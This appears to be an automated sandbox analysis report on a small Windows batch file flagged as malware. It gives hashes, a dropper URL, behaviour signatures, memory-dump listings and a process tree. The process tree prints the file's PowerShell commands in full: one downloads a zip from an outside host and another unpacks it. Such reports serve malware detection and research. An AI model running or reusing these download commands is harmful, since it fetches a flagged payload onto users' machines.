3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
19-11-2023 06:55

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General

Target

tesy - Copy (13).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	1740	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1740	powershell.exe
2760	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeDebugPrivilege	2760	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2200 wrote to memory of 1740	2200	cmd.exe	29
PID 2200 wrote to memory of 1740	2200	cmd.exe	29
PID 2200 wrote to memory of 1740	2200	cmd.exe	29
PID 2200 wrote to memory of 2760	2200	cmd.exe	30
PID 2200 wrote to memory of 2760	2200	cmd.exe	30
PID 2200 wrote to memory of 2760	2200	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2760

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\25ODM0CUH3G0JSUGEY22.temp

Filesize
7KB

MD5
8205c61a635506414742702735611bf9

SHA1
9315a80bf234f5a30c757233499cf16fe3512ba6

SHA256
db6189e766ce107152694ab7954a2bc293172f33adfe6d662c005d6931777e80

SHA512
b84ab512b8e0a34eb78d1eecb3767ad0da981b963a8f030c8088b3986c3347150547c5a18b4e3469c4f76e0157092eff5239e9f1ae688bf6f8c9ee276e2f8334

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8205c61a635506414742702735611bf9

SHA1
9315a80bf234f5a30c757233499cf16fe3512ba6

SHA256
db6189e766ce107152694ab7954a2bc293172f33adfe6d662c005d6931777e80

SHA512
b84ab512b8e0a34eb78d1eecb3767ad0da981b963a8f030c8088b3986c3347150547c5a18b4e3469c4f76e0157092eff5239e9f1ae688bf6f8c9ee276e2f8334

Download Submit
memory/1740-9-0x00000000024F0000-0x0000000002570000-memory.dmp

Filesize
512KB

Download
memory/1740-8-0x000007FEF5580000-0x000007FEF5F1D000-memory.dmp

Filesize
9.6MB

Download
memory/1740-6-0x00000000024F0000-0x0000000002570000-memory.dmp

Filesize
512KB

Download
memory/1740-4-0x000000001B340000-0x000000001B622000-memory.dmp

Filesize
2.9MB

Download
memory/1740-10-0x00000000024F0000-0x0000000002570000-memory.dmp

Filesize
512KB

Download
memory/1740-11-0x00000000024F0000-0x0000000002570000-memory.dmp

Filesize
512KB

Download
memory/1740-13-0x000007FEF5580000-0x000007FEF5F1D000-memory.dmp

Filesize
9.6MB

Download
memory/1740-7-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/1740-5-0x000007FEF5580000-0x000007FEF5F1D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-19-0x000000001B0B0000-0x000000001B392000-memory.dmp

Filesize
2.9MB

Download
memory/2760-20-0x0000000002470000-0x0000000002478000-memory.dmp

Filesize
32KB

Download
memory/2760-21-0x000007FEF4BE0000-0x000007FEF557D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-22-0x0000000002550000-0x00000000025D0000-memory.dmp

Filesize
512KB

Download
memory/2760-23-0x000007FEF4BE0000-0x000007FEF557D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-24-0x0000000002550000-0x00000000025D0000-memory.dmp

Filesize
512KB

Download
memory/2760-25-0x0000000002550000-0x00000000025D0000-memory.dmp

Filesize
512KB

Download
memory/2760-26-0x0000000002550000-0x00000000025D0000-memory.dmp

Filesize
512KB

Download
memory/2760-27-0x000007FEF4BE0000-0x000007FEF557D000-memory.dmp

Filesize
9.6MB

Download